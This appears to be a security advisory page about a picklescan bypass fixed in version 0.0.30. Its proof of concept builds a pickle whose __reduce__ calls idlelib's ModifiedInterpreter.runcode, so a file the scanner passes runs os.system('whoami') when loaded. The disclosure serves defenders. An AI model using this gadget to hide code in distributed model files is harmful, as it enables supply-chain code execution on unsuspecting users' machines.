Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode
Key facts
- Attack vector
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- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
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- Confidentiality · integrity · availability
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- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
### Summary Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncode: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace( executing=False, beginexecuting=str, canceled=False, closing=False, showtraceback=str, endexecuting=str, stderr=None, text=SimpleNamespace(), getvar=str ), rpcclt=None, debugger=None, checklinecache=str, active_seq=None, showtraceback=str, canceled=False, closing=False ) return ModifiedInterpreter.runcode, (fake_self, payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | picklescan (PyPI) | before 0.0.30 | 0.0.30 | Patch available | GHSA-3gf5-cxq9-w223 |
- picklescan (PyPI) Vendor— Affected before 0.0.30 Fixed in 0.0.30 Patch available GHSA-3gf5-cxq9-w223
Remediation
- Fix · GHSA-3gf5-cxq9-w223 picklescan (PyPI) Fixed in 0.0.30 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-3gf5-cxq9-w223
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences